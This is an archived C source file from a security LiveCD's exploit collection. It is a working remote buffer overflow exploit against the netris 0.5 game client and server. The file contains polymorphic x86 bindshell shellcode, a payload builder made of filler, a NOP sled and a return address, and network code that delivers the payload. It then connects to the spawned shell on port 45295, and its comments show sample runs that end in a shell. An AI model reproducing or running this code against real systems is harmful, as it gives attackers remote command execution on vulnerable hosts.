home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / netris / xnetris.c < prev   
Encoding:
C/C++ Source or Header  |  2005-02-12  |  10.2 KB  |  246 lines
  1. /*[ netris[v0.5]: client/server remote buffer overflow exploit. ]*
  2.  *                                                               *
  3.  * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo)     *
  4.  *                                                               *
  5.  * netris homepage/URL:                                          *
  6.  *  http://www.netris.org                                        *
  7.  *  ftp://ftp.netris.org (v0.52 fixes this bug)                  *
  8.  *                                                               *
  9.  * compile:                                                      *
  10.  *  cc xnetris.c -o xnetris                                      *
  11.  *                                                               *
  12.  * this exploits the netris buffer overflow found roughly a year *
  13.  * ago(http://www.securityfocus.com/bid/5680), and recently      *
  14.  * brought up again, in client-side form. (same code)            *
  15.  *                                                               *
  16.  * when the MyEventType() function is done, the contents of the  *
  17.  * buffer can continue on past netBuf[64], into other data       *
  18.  * segments.  however, the segment right after                   *
  19.  * netBuf[64](netBufSize[4]) will be changed to 0x00000000,      *
  20.  * after the overflow has taken place.  so, instead of using 64  *
  21.  * byte shellcode, we will skip the first 68 bytes(filler).      *
  22.  * this will look like so:                                       *
  23.  *                                                               *
  24.  *  memory:  [netBuf(64)][netBufSize(4)]...[other data segments] *
  25.  *  exploit: [68 filler bytes][nops][shellcode][return address]  *
  26.  *                                                               *
  27.  * since the same inet code is used both for the server, and     *
  28.  * the client; i made this exploit to do both, with no memory    *
  29.  * changes.                                                      *
  30.  *                                                               *
  31.  * when this exploits successfully, netris will display "Network *
  32.  * negotiation failed", and idle until netris is closed(running  *
  33.  * bindshell). (for both client, and server exploitation)        *
  34.  *                                                               *
  35.  * examples(client/server):                                      *
  36.  *  # ./xnetris -b                                               *
  37.  *  [*] netris[v0.5-]: client/server remote buffer overflow exp$ *
  38.  *  [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)         *
  39.  *                                                               *
  40.  *  [*] awaiting connection from: *:9284.                        *
  41.  *  [*] netris server connection established.                    *
  42.  *  [*] netris server connection closed.                         *
  43.  *  [*] checking to see if the exploit was successful.           *
  44.  *  [*] attempting to connect: 127.0.0.1:45295.                  *
  45.  *  [*] successfully connected: 127.0.0.1:45295.                 *
  46.  *                                                               *
  47.  *  Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 E$ *
  48.  *  uid=500(v9) gid=500(v9) groups=500(v9)                       *
  49.  *                                                               *
  50.  *  # ./xnetris localhost                                        *
  51.  *  [*] netris[v0.5-]: client/server remote buffer overflow exp$ *
  52.  *  [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)         *
  53.  *                                                               *
  54.  *  [*] attempting to connect: localhost:9284.                   *
  55.  *  [*] successfully connected: localhost:9284.                  *
  56.  *  [*] checking to see if the exploit was successful.           *
  57.  *  [*] attempting to connect: localhost:45295.                  *
  58.  *  [*] successfully connected: localhost:45295.                 *
  59.  *                                                               *
  60.  *  Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 E$ *
  61.  *  uid=500(v9) gid=500(v9) groups=500(v9)                       *
  62.  *                                                               *
  63.  * (tested on redhat/7.1, and gentoo/r5; netris-0.5 source.      *
  64.  * should work out of the box on linux/x86(+-2048 nop room).  if *
  65.  * not, check the RETADDR define comment)                        *
  66.  *****************************************************************/
  67. #include <stdio.h>
  68. #include <stdlib.h>
  69. #include <string.h>
  70. #include <strings.h>
  71. #include <signal.h>
  72. #include <unistd.h>
  73. #include <netdb.h>
  74. #include <sys/socket.h>
  75. #include <sys/types.h>
  76. #include <sys/time.h>
  77. #include <netinet/in.h>
  78. #include <arpa/inet.h>
  79. #define BUFSIZE 12800 /* filler+nop+shellcode+return addr buffer size.  */
  80. #define RETADDR (0x08051e20+68+2048) /* objdump -x netris | grep netBuf */
  81. #define DFLPORT 9284 /* default netris port.                            */
  82. #define TIMEOUT 10 /* connection timeout. (generic as always)           */
  83. static char x86_exec[]= /* bindshell(45295)&, netric/S-poly.            */
  84.  "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49\x41\x49\x75"
  85.  "\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0\x06\x9e\x26\x86\xdb\x26"
  86.  "\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95"
  87.  "\x06\xb0\x25\x25\x25\x3b\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28"
  88.  "\x88\xd7\x27\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
  89.  "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b\xa2\x55\x5e"
  90.  "\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85\x05\xa2\x55\x06\x95\x06"
  91.  "\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0"
  92.  "\x85\xd7\xa2\x55\x0e\x98\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95"
  93.  "\x06\x9e\x5e\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
  94.  "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37\x3e\x43\x5e"
  95.  "\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2\x55\x06\x95\x15\xa2\x55"
  96.  "\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0\x6e";
  97. char *getcode(void);
  98. char *netris_bind(unsigned short);
  99. unsigned short netris_connect(char *,unsigned short);
  100. void getshell(char *,unsigned short);
  101. void printe(char *,short);
  102. void sig_alarm(){printe("alarm/timeout hit.",1);}
  103. int main(int argc,char **argv){
  104.  unsigned short isbind=0,nport=DFLPORT; /* default. */
  105.  char *hostptr;
  106.  printf("[*] netris[v0.5-]: client/server remote buffer overflow ex"
  107.  "ploit.\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)\n\n");
  108.  if(argc<2){
  109.   printf("[!] syntax: %s <host|-b> [port]\n",argv[0]);
  110.   exit(1);
  111.  }
  112.  if(!strcmp(argv[1],"-b"))
  113.   isbind=1;
  114.  if(argc>2)
  115.   nport=atoi(argv[2]);
  116.  if(isbind)
  117.   hostptr=netris_bind(nport);
  118.  else
  119.   netris_connect((hostptr=argv[1]),nport);
  120.  sleep(1);
  121.  getshell(hostptr,45295); /* defined in shellcode. */
  122.  exit(0);
  123. }
  124. char *getcode(void){
  125.  unsigned int i=0;
  126.  char *buf;
  127.  if(!(buf=(char *)malloc(BUFSIZE+1)))
  128.   printe("getcode(): allocating memory failed.",1);
  129.  /* fill the buffer with the return address.       */
  130.  for(i=0;i<BUFSIZE;i+=4){*(long *)&buf[i]=RETADDR;}
  131.  /* netBuf[64] + 4 = netBufSize = 0x00000000.      */
  132.  memset(buf,0x78,68); /* netBuf+netBufSize filler. */
  133.  memset(buf+68,0x90,4096); /* 4096 nops/guesses.   */
  134.  memcpy(buf+68+4096,x86_exec,strlen(x86_exec));
  135.  return(buf);
  136. }
  137. char *netris_bind(unsigned short port){
  138.  int ssock=0,sock=0,so=1;
  139.  unsigned int salen=0;
  140.  struct sockaddr_in ssa,sa;
  141.  ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  142.  setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
  143. #ifdef SO_REUSEPORT
  144.  setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
  145. #endif
  146.  ssa.sin_family=AF_INET;
  147.  ssa.sin_port=htons(port);
  148.  ssa.sin_addr.s_addr=INADDR_ANY;
  149.  printf("[*] awaiting connection from: *:%d.\n",port);
  150.  if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
  151.   printe("could not bind socket.",1);
  152.  listen(ssock,1);
  153.  bzero((char*)&sa,sizeof(struct sockaddr_in));
  154.  salen=sizeof(sa);
  155.  sock=accept(ssock,(struct sockaddr *)&sa,&salen);
  156.  close(ssock);
  157.  printf("[*] netris server connection established.\n");
  158.  write(sock,getcode(),BUFSIZE);
  159.  sleep(1);
  160.  close(sock);
  161.  printf("[*] netris server connection closed.\n");
  162.  return(inet_ntoa(sa.sin_addr));
  163. }
  164. unsigned short netris_connect(char *hostname,
  165. unsigned short port){
  166.  int sock;
  167.  struct hostent *t;
  168.  struct sockaddr_in s;
  169.  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  170.  s.sin_family=AF_INET;
  171.  s.sin_port=htons(port);
  172.  printf("[*] attempting to connect: %s:%d.\n",hostname,port);
  173.  if((s.sin_addr.s_addr=inet_addr(hostname))){
  174.   if(!(t=gethostbyname(hostname)))
  175.    printe("couldn't resolve hostname.",1);
  176.   memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  177.   sizeof(s.sin_addr));
  178.  }
  179.  signal(SIGALRM,sig_alarm);
  180.  alarm(TIMEOUT);
  181.  if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  182.   printe("netris connection failed.",1);
  183.  alarm(0);
  184.  printf("[*] successfully connected: %s:%d.\n",hostname,port);
  185.  write(sock,getcode(),BUFSIZE);
  186.  sleep(1);
  187.  close(sock);
  188.  return(0);
  189. }
  190. void getshell(char *hostname,unsigned short port){
  191.  int sock,r;
  192.  fd_set fds;
  193.  char buf[4096+1];
  194.  struct hostent *he;
  195.  struct sockaddr_in sa;
  196.  printf("[*] checking to see if the exploit was successful.\n");
  197.  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  198.   printe("getshell(): socket() failed.",1);
  199.  sa.sin_family=AF_INET;
  200.  if((sa.sin_addr.s_addr=inet_addr(hostname))){
  201.   if(!(he=gethostbyname(hostname)))
  202.    printe("getshell(): couldn't resolve.",1);
  203.   memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  204.   sizeof(sa.sin_addr));
  205.  }
  206.  sa.sin_port=htons(port);
  207.  signal(SIGALRM,sig_alarm);
  208.  alarm(TIMEOUT);
  209.  printf("[*] attempting to connect: %s:%d.\n",hostname,port);
  210.  if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  211.   printf("[!] connection failed: %s:%d.\n",hostname,port);
  212.   return;
  213.  }
  214.  alarm(0);
  215.  printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
  216.  signal(SIGINT,SIG_IGN);
  217.  write(sock,"uname -a;id\n",13);
  218.  while(1){
  219.   FD_ZERO(&fds);
  220.   FD_SET(0,&fds);
  221.   FD_SET(sock,&fds);
  222.   if(select(sock+1,&fds,0,0,0)<1)
  223.    printe("getshell(): select() failed.",1);
  224.   if(FD_ISSET(0,&fds)){
  225.    if((r=read(0,buf,4096))<1)
  226.     printe("getshell(): read() failed.",1);
  227.    if(write(sock,buf,r)!=r)
  228.     printe("getshell(): write() failed.",1);
  229.   }
  230.   if(FD_ISSET(sock,&fds)){
  231.    if((r=read(sock,buf,4096))<1)
  232.     exit(0);
  233.    write(1,buf,r);
  234.   }
  235.  }
  236.  close(sock);
  237.  return;
  238. }
  239. void printe(char *err,short e){
  240.  printf("[!] %s\n",err);
  241.  if(e)
  242.   exit(1);
  243.  return;
  244. }
  245.  
  246.